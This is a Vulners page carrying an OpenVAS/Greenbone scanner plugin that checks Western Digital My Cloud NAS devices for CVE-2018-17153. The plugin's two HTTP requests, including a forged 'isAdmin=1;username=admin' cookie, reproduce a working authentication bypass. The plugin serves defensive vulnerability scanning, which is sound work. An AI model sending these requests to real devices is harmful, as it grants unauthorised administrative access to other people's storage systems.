Western Digital My Cloud Products Authentication Bypass and Remote Command Injection Vulnerability
🗓️ 30 Nov 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType
openvas🔗 plugins.openvas.org👁 90 Views
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| WesternDigital #MyCloud Authentication Bypass Vulnerability | 19 Sep 201800:00 | – | zdt | |
| Western Digital MyCloud Unauthenticated Command Injection Exploit | 1 Aug 202300:00 | – | zdt | |
| CVE-2018-17153 | 19 Sep 201811:34 | – | circl | |
| Western Digital My Cloud Authentication Bypass Vulnerability | 19 Sep 201800:00 | – | cnvd | |
| CVE-2018-17153 | 18 Sep 201800:00 | – | cve | |
| CVE-2018-17153 | 18 Sep 201800:00 | – | cvelist | |
| Western Digital MyCloud unauthenticated command injection | 14 Dec 201600:00 | – | metasploit | |
| Western Digital MyCloud NAS - Authentication Bypass | 24 Aug 202605:53 | – | nuclei | |
| CVE-2018-17153 | 18 Sep 201815:29 | – | nvd | |
| Western Digital My Cloud Multiple Products < 2.11.178 / 2.20 - 2.30 < 2.30.196 Authentication Bypass Vulnerability | 2 Sep 202000:00 | – | openvas |
10
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE_PREFIX = "cpe:/o:wdc";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108305");
script_version("2023-07-25T05:05:58+0000");
script_cve_id("CVE-2018-17153");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2017-11-30 08:00:00 +0100 (Thu, 30 Nov 2017)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2018-12-18 14:13:00 +0000 (Tue, 18 Dec 2018)");
script_name("Western Digital My Cloud Products Authentication Bypass and Remote Command Injection Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_wd_mycloud_consolidation.nasl");
script_mandatory_keys("wd-mycloud/http/detected");
script_xref(name:"URL", value:"https://support.wdc.com/downloads.aspx?lang=en#firmware");
script_xref(name:"URL", value:"https://support.wdc.com/knowledgebase/answer.aspx?ID=25952");
script_xref(name:"URL", value:"https://blog.westerndigital.com/western-digital-my-cloud-update/");
script_xref(name:"URL", value:"https://www.exploitee.rs/index.php/Western_Digital_MyCloud");
script_xref(name:"URL", value:"https://securify.nl/nl/advisory/SFY20180102/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/105359");
script_tag(name:"summary", value:"Western Digital My Cloud Products are prone to an authentication bypass and
multiple remote command injection vulnerabilities.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP GET and HTTP POST request and check the response.");
script_tag(name:"impact", value:"Successful exploit allows an attacker to execute arbitrary commands with
root privileges in context of the affected application.");
script_tag(name:"solution", value:"The vendor has released firmware updates. Please see the references
for more information.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
include("list_array_func.inc");
if( ! infos = get_app_port_from_cpe_prefix( cpe:CPE_PREFIX, service:"www" ) )
exit( 0 );
CPE = infos["cpe"];
if( ! CPE || ( "my_cloud" >!< CPE && "wd_cloud" >!< CPE ) )
exit( 0 );
port = infos["port"];
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
# The first request logs us in without even setting a cookie
# nb: It will return a 404 but it is still working as expected...
url = dir + "/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1";
req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req );
# now we're able to access the system information without a previous login as long as the
# "admin" user is a valid / existing account.
# nb: This file / cgi is available on e.g a My Cloud Mirror 2.11.x or My Cloud EX4100 2.30.x
url2 = dir + "/cgi-bin/home_mgr.cgi";
data = "cmd=2";
cookie = "isAdmin=1;username=admin";
req2 = http_post_put_req( port:port, url:url2, data:data,
accept_header:"application/xml, text/xml, */*; q=0.01",
add_headers:make_array( "Content-Type", "application/x-www-form-urlencoded", "Cookie", cookie ) );
res2 = http_keepalive_send_recv( port:port, data:req2, bodyonly:FALSE );
# nb: The device will response with a "HTTP/1.1 404 not found" if access to the home_mgr.cgi was denied.
if( res2 =~ "^HTTP/1\.[01] 200" && "<config>" >< res2 && res2 =~ "<(board_temperature|fan|hd_status|disk|raid|raidmode)>.*</(board_temperature|fan|hd_status|disk|raid|raidmode)>" ) {
info['"HTTP POST" body'] = data;
info['Cookie'] = cookie;
info['URL'] = http_report_vuln_url( port:port, url:url2, url_only:TRUE );
report = 'By requesting the URL:\n\n';
report += http_report_vuln_url( port:port, url:url, url_only:TRUE );
report += '\n\nit was possible to bypass the authententication of the remote device.\n\n';
report += 'With a follow-up request:\n\n';
report += text_format_table( array:info ) + '\n\n';
report += 'it was possible to access the system status without a previous valid login.';
report += '\n\nResult: ' + res2;
expert_info = 'Request 1:\n'+ req + '\nResponse 1 (404 HTTP status code is expected):\n' + res;
expert_info += 'Request 2:\n'+ req2 + '\n\nResponse 2:\n' + res2;
security_message( port:port, data:report, expert_info:expert_info );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jul 2023 00:00Current
10High risk
Vulners AI Score10
CVSS 39.8
CVSS 210
EPSS0.86586